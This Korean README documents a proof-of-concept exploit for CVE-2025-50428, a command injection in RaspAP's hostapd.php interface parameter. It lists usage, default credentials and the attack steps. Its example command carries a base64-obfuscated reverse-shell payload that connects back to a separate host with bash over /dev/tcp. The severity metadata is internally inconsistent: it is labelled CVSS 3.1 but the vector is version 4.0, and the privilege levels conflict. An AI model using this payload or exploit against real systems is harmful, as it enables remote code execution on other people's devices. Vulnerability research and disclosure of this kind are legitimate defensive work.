CVE-2025-50428 - RaspAP 명령 주입

CVE-2025-50428에 대한 개념 증명(PoC) 익스플로잇으로, RaspAP raspap-webgui 3.2.9 및 이전 버전의 명령 주입 취약점입니다.

취약점 ID	CVE-2025-50428
심각도	높음 (CVSS 3.1: 8.6)
CVSS 벡터	`CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
취약점 유형	코드 주입
공격 경로	원격 (인증됨)
필요 권한	낮음
영향	코드 실행, 권한 상승
영향받는 제품	raspap-webgui ≤ 3.2.9
발견자	SmartTECS Cyber Security GmbH

설명

이 익스플로잇은 RaspAP의 hostapd.php 스크립트에 존재하는 명령 주입 취약점을 대상으로 합니다. 이 취약점은 interface 매개변수를 통해 전달되는 사용자 입력에 대한 필터링이 미흡하여 발생합니다. 인증된 공격자는 임의의 OS 명령을 주입할 수 있으며, 그 결과 www-data 사용자의 권한으로 코드가 실행됩니다.

취약한 버전

raspap-webgui ≤ 3.2.9

요구 사항

Python 3.x
requests 라이브러리 설치
취약한 버전의 RaspAP를 실행 중인 대상
유효한 RaspAP 로그인 자격 증명

사용 방법

python3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]

매개변수

--base-url: RaspAP 설치의 기본 URL (예: http://192.168.122.22)
--interface: interface 매개변수의 값, 인젝션 페이로드 허용
--username: RaspAP 사용자 이름 (기본값: admin)
--password: RaspAP 비밀번호 (기본값: secret)

예시

python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"

작동 원리

스크립트는 제공된 자격 증명을 사용하여 RaspAP 웹 인터페이스에 인증합니다.
서버에서 유효한 CSRF 토큰을 가져옵니다.
악성 명령 주입 페이로드가 포함된 interface 매개변수와 함께 hostapd.php로 POST 요청을 전송합니다.
주입된 명령이 www-data 권한으로 대상 시스템에서 실행됩니다.

참고 사항

이 익스플로잇에는 유효한 자격 증명이 필요합니다.
성공적인 악용 시 임의의 명령 실행이 가능하며, 이를 연계하여 권한 상승을 수행할 수 있습니다.

SmartTECS Cyber Security GmbH

SmartTECS Cyber Security GmbH는 침투 테스트, 보안 소프트웨어 개발 및 취약점 연구를 전문으로 하는 사이버 보안 기업입니다. 이 회사는 조직이 진화하는 사이버 위협으로부터 중요 시스템을 보호할 수 있도록 맞춤형 보안 평가, 침해 대응 및 전략적 자문 서비스를 제공합니다.

면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 소유했거나 명시적 허가를 받아 관리하는 시스템에서만 사용하십시오. 작성자와 SmartTECS Cyber Security GmbH는 오용 또는 손상에 대해 어떠한 책임도 지지 않습니다.

참고 자료

https://nvd.nist.gov/vuln/detail/CVE-2025-50428

cve-2025-50428

인기